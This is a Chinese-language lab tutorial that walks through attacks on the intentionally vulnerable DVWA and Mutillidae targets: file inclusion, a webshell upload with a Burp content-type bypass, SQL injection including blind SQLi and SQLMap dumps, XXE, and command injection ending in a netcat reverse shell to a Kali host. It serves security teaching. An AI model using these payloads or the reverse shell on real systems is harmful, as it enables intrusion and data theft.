项目介绍
根据 OWASP Top 10 2017 ( https://www.owasp.org/index.php/Top_10-2017_Top_10 )中的注入缺陷来说,如 SQL、操作系统命令和 XML 注入,是最普遍的漏洞,也是所有 web 应用程序的影响最大漏洞。
当来自用户提供的参数的不可信数据由服务器解释时,会出现注入缺陷。然后,
攻击者可以诱使解释器将这些数据视为可执行指令,使其执行非预期的命令或在没有 适当授权的情况下访问数据。
在这一章中,将讨论当今 web 应用程序中的主要注入缺陷,并且还将研究用于
检测和利用这些缺陷的工具和技术。
任务 1 寻找文件包含漏洞
一、任务描述
当用户自定义参数请求服务器中的动态资源或者在服务器上执行的代码包含了
某个页面时,就会出现文件包含漏洞。如果让服务器执行了文件包含导致的恶意代码,系统就有可能被入侵。
在本教程中将测试一个 web 应用,看看是否受文件包含漏洞的影响。
二、任务实现
将使用 dvwa 作为这次试验的靶机,设置好攻击机 Kali 和靶机,开始实验:
1. 登陆 dvwa(用户名和密码都是 admin),进入 File Inclusion 页面。
2. 它说要编辑 get 参数来测试包含的内容,所以输入 index.php 试试,结果如下所示:
3. 为了尝试攻击,需要知道存在本地的文件名称,知道有个 index.php 在根目录下,所以尝试下目录遍历和文件包含。提交参数为../../index.php,显示如下:
可以证明存在文件包含漏洞了!(“../”表示返回上一级目录)
4. 下面尝试一下远程文件包含漏洞。这里包含的是另一台服务器上的文件,所
以采用 Kali 托管一个文件:
首先启动 apache 服务器:service apache2 start
5. 现在利用这个文件包含漏洞,包含一下 Kali 的 apache 页面:
http://192.168.106.130/dvwa/vulnerabilities/fi/?page=http://192.168.129/index.html
显示如下:
(也可以尝试包含百度搜索页面:https://www.baidu.com/index.html)
通过修改参数可以使 web 应用加载外部页面,这就是文件包含漏洞。如果包含
的文件有能让服务器解析的代码,如 php,那么就可以自定义代码远程执行命令进而
破坏整个系统。
三、相关知识与技能
点击 dvwa 的 File Inclusion 页面下面的“view source”按钮就可以看到源码:
<?php $file =$_GET['page']; // The page we wish to display ?>
这意味着 page 参数由文件名传递,然后包含在代码中。因为它,可以包含任何
一个在网络中的 php 或 html 文件。(要使用文件包含,必须开启 allow_url_fopen 和
allow_url_include)
还可以包含操作系统中的文件,例如:../../../../../../etc/passwd 就可以得到系统用
户列表。
任务 2 文件包含和文件上传
一、任务描述
在前面的项目中了解到的,当开发人员对用户上传的文件所在的路径不做安全校
验或者用户恶意上传文件使其包含当前路径的某些源码时,就会发生文件上传或者文
件包含漏洞。如今的服务端开发语言比如 PHP,它从 5.2.0 版本开始就默认关闭了远
程文件包含的功能,所以从 2011 年到如今,PHP 的 RFI 已经不是那么轻易就能被发
现了。
在本篇小节中,将学到通过上传一个恶意的文件,也就是 WebShell(可以在服
务器上执行命令的 web 页面)并且使用 LFI 执行它。
在这个章节,会在服务器上上传一个文件。需要知道上传文件的存储位置以便于
能通过程序去访问它。在 DVWA 中找到一个可以上传文件的地方,任意上传一张 JPG
格 式 的 图 片 , 如 果 上 传 成 功 , 那 么 当 前 页 面 会 显 示 上 传 文 件 的 存 储 路 径 ,
像../../hackable/uploads/这样的格式,由此就可以得知上传后的文件的相对路径。
现在创建一个名叫 webshell.php 的文件,它的内容如下:
特别注意一点,action 参数写入的值是通过测试上传一个图片后的提示信息中得
来的存储路径。
二、任务实现
打开 DVWA 并登陆,在 DVWA Security 页面将安全等级设置为 medium(中级),然后就可以开始了:
1. 首先,在 Upload 页面的上传点上传 webshell.php 文件:
当你尝试上传后缀为.php 的文件时,会发现上传失败,这是因为 DVWA 的中级 限制对上传的文件后缀做了安全检查,只允许上传图片,所以在这里需要绕过这个限制上传 webshell.php 。
2. 说到绕过上传限制的手段,你可能首先会想到直接将 webshell.php 改为
webshell.jpg,这种直接更改后缀的办法确实能够绕过对后缀的检查,但是这样的上传是没有意义的,因为服务器只会根据后缀来识别文件,所以 webshell.jpg 就会被当做图片,当然写在 webshell.php 中的 PHP 代码是不会被执行的。正确的办法是使用
Burp suite 。
3. 在上传选项中选中 webshell.php 文件。
4. 打开 Burp suite 的拦截开关,然后点击上传,数据包就会被拦截下来,如下图:)
简单分析这个请求可以发现,请求是多部分的,并且每一部分都是对应的标题。
尤其注意上图中第二个 Content-Type,它包含了上传文件的内容,并且告诉服务器它是一个 PHP 文件。(上图两处更正:method="get" , webshell.php)
5. 将第二个 Content-Type 中的值修改为 image/jpeg 后再放行请求包,然后你就会 看到上传成功的信息:
6.上传成功后,要使用上传的 webshell.php 来对服务器执行命令。返回到 DVWA 的 File Inclusion 页面。
7. 使用 page 参数来包含 webshell.php,截图如下:
8.可以看到 webshell.php 被成功地加载,并且会有一个文本框,在文本框中输
入/sbin/ifconfig 然后敲下回车键,你就可以看到出现了文本提示信息,这代表代码被 成功执行,如下图:
任务 3 手动识别 SQL 注入
一、任务描述
大多数现代 Web 应用程序都实现某种数据库,而 SQL 是最常用的查询数据库的 语言。
在 SQL 注入(SQLi)攻击中,攻击者试图通过注入表单中的 SQL 命令来发送更 改的查询,从而滥用应用程序和数据库之间的通信用于在服务器中构建 SQL 语句的请求中的输入或任何其他参数。
在本文中,将测试 Web 应用程序的输入,以查看它是否容易受到基于错误的 SQLi 的攻击。
二、任务实现
登录到 DVWA,转到 SQL Injection(SQL 注入)页面,并检查 Security Level(安全级别)是否为 low(低)。
1. 与之前的方法一样,让通过引入一个数字来测试应用程序的正常行为。将用
户 ID 设置为 1,然后单击“提交”。 通过查看结果,可以说应用程序查询数据库以 查看是否存在 ID 等于 1 的用户并返回该用户的 ID、名称和姓氏。
2. 接下来,必须测试如果发送应用程序不期望的内容会发生什么。在文本框中
引入 1'(1 和一个单撇号)并提交该 ID。 如以下屏幕截图所示,应用程序应响应错误:
此错误消息告诉数据库收到错误形成的查询。 这并不意味着可以确定这里有
SQLi,但很可能这个应用程序很容易受到攻击。
3. 返回 DVWA 的 SQL Injection 页面。
4. 为了确保存在基于错误的 SQLi,尝试另一个输入:1(
这次没有错误。 这证实了应用程序中存在 SQLi 漏洞。
5. 现在将执行一个非常基本的 SQLi 攻击。 在文本框中引入' or '1'='1 并提交。 结果应如下所示:
任务 4 基于错误的 SQL 注入
一、任务描述
在上一个任务中,检测到了一个 SQLi。 在本任务中,将利用该漏洞并使用它从数据库中提取信息。
二、任务实现
已经知 DVWA 容易受到 SQLi 的攻击,所以让登录并浏览 DVWA 的 SQL
Injection 页面( http://192.168.106.130/dvwa/vulnerabilities/sqli/ )然后按照以下步骤操作:
1. 在检测到 SQLi 存在后,下一步是想办法内部查询,或者更确切地说,知道其结果的列数。在“User ID”框中输入任意数字,然后单击“Submit(提交)”按钮。
2. 现在,打开 HackBar(按 F9 键),然后点击“Load”按钮加载 URL。 地址栏中的 URL 现在应该出现在 HackBar 中。
3. 在 HackBar 中,将 id 参数的值替换为 1'order by 1--'并单击“Run”按钮,屏幕截图所示:
任务 5 确认并利用 SQL 盲注漏洞
一、任务描述
已经学会了如何找到并利用 sql 注入漏洞,下面将介绍一个同类型的另外一个漏
洞,名为 sql 盲注。它不会有任何回显信息,完全利用两次不同的回显页面造成数据
库猜解。
二、任务实现
登陆 DVWA 靶机,进入 SQL Injection(Blind)盲注页面:
( http://192.168.106.130/dvwa/vulnerabilities/sqli_blind/ )
1. 这个表单和上面的 sql 注入表单(SQL Injection)一模一样,输入 1,可以查看
id 为 1 的用户信息。
2. 现在输入 1' 看看会不会像 sql 注入(SQL Injection)一样报错。
没有收到错误消息,也没收到任何结果返回。
3. 再输入 1'' 看一下:
结果显示了 id 为 1 的用户信息,这说明前面测试的 1'是 web 应用已经预料到的 错误,这里很可能会有 sql 盲注漏洞,来继续猜测。
4. 输入一个结果总是为假的参数试一下:
输入 1' and '1'='2
因为 1 不等于 2,所以结果总是为假。可以发现应用没有给出选择条件的结果。
5. 接着构造一个始终为真的参数:
1' and '1'='1
可以发现应用给出了 id 为 1 的结果。这说明该表单存在 sql 盲注漏洞,可以输入
猜测的语句函数来观察应用返回的结果,通过这个方法可以一步一步猜解出想知道的
内容。
6. 在教程中,首先需要知道数据库的用户名,所以首先尝试一下这个语句:
1' and 1=char_length(current_user()) and '1'='1
7. 下一步找到 burp 中的这个请求,并发送到 Intruder 模块:
8. 接着就可以通过添加攻击参数来构造有效载荷:
9. 转到有效载荷(Payloads)内容,将有效载荷类型(Payload type)设置为 Numbers
10. 将数值内容设置为 1-15,步数为 1:
11. 接着转到 Intruder 的 Options 选项卡,清除 Grep 匹配(Grep-Match)列表,添加自己想要的回显字段,来快速查看攻击结果。
12. 开始攻击(Start attack)按钮!从攻击结果得知,用户名是 3 位数。
任务 6 使用 SQLMap 查找和利用 SQL 注入
一、相关知识与技能
SQLMap 使用 SQLi 字符串测试给定 URL 和数据中的所有输入参数,或者只测试-p 选项中的指定输入参数,并解释响应以发现是否存在漏洞。不过最好不要模糊测试所有输入参数,有哪位寻找所有可能性的注入可能会花费大量时间,并在网络中产生非常可疑的流量。一般使用 SQLMap来利用已经知道存在的注入,并且试图缩小搜索过程。可以向它提供更多可用的信息,例如存在 sql 注入的参数、DBMS 类型和其他信息。
二、实验内容:
1. 尝试任何用户名和密码,,然后单击 ViewAccount Details。
- 登录将失败,但对 URL 感兴趣。转到地址栏,将完整的 URL 复制到剪贴板。
http://192.168.106.128/mutillidae/index.php?page=user-info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details
3.在终端窗口中,输入以下命令:
sqlmap-u "http://192.168.106.128/mutillidae/index.php?page=user-info.php&
username=user&password=password&user-info-php-submit-button=View+Account+Details"-p username --curent-user --current-db --is-dba
4. 回答 Yes 以跳过其他系统,而回答 No 以则进行所有测试。
5. 一旦指定的参数被发现是存在 sql 注入的,SQLMap 将询问是否需要测试其他参数。对这个问题的回答是 No 的,然后会看到结果。
6. 如果想要获得用户名和密码,就像在前面的小节中所做的那样,需要知道具有这些信息的表的名称。在终端执行以下命令:
sqlmap-u "http://192.168.106.128/mutillidae/index.php?page=user-info.php
&username=test&password=test-Dnowasp --tables
7.Account 表看起来像是拥有想要的信息。让查看的他的字段信息:
sqlmap-u "http://192.168.106.128/mutillidae/index.php?page=user-info.php
&username=test&password=test-Dnowasp -T account --dump
任务七 利用 XML 外部实体注入
相关知识与技能
XML 提供了定义实体的可能性。XML 中的实体只是一个名称,它具有与之相关联的值。每次在文档中使用实体时,它都会在处理 XML 文件时被其值替换。使用不同协议(例如 file://来加载系统文件,或者 http://来加载 url),可以在没有适当安全措施的地方实现,入输入验证和 XML 解析器配置方面,可以提取敏感数据,甚至在服务器上执行命令。
二、实验内容:
1. 浏览器打开:
http://192.168.106.128/mutillidae/index.php?page=xml-validator.php
2. 在 XML框中,输入
<somexml><message>HelloWorld</message></somexml>,然后点击 Validate XML。
3. 查看是否正确地处理了实体标记。
任务八检测和利用命令注入漏洞
一、相关知识与技能
与 SQLi 和其他示例一样,命令注入漏洞是由于输入验证机制不佳,以及使用用户提供的数据来形成字符串,这些字符串可能将用作操作系统的命令。如果查看刚刚攻击的页面的源代码(每个 DVWA 页面右下角都有一个按钮),
二、实验内容:
1. 将看到一个自由形式的 Ping 表格。 ping192.168.106.129。
2.注入一个非常简单的命令。提交以下代码,192.168.106.129;uname –a。
3. 监听 Kali Linux 中的连接。打开终端,运行以下命令:
nc -lp1691 -v。
4. 然后在浏览器中提交以下内容:
nc.traditional-e/bin/bash 192.168.106.129 1691 &